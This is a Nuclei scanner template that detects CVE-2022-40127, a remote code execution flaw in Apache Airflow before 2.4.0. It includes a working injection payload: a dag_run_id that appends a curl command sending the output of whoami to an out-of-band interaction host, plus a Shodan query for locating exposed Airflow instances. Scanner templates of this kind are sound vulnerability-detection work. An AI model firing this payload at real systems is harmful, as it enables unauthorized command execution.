nuclei-templates/cves/2022/CVE-2022-40127.yaml

76 lines
1.9 KiB
YAML

id: CVE-2022-40127
info:
name: AirFlow < 2.4.0 - Remote Code Execution
author: DhiyaneshDk,ritikchaddha
severity: high
description: |
A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
reference:
- https://github.com/Mr-xn/CVE-2022-40127
- https://nvd.nist.gov/vuln/detail/CVE-2022-40127
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-40127
cwe-id: CWE-94
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
metadata:
max-request: 3
verified: true
shodan-query: title:"Sign In - Airflow"
tags: cve,cve2022,airflow,rce,oast,authenticated
http:
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
- |
POST /login/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
- |
@timeout: 15s
POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"conf": {
"dag_run": "{{randstr}}"
},
"dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}",
"logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z"
}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'state": "queued"'
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 200
extractors:
- type: regex
name: csrf_token
group: 1
internal: true
regex:
- 'type="hidden" value="(.*?)">'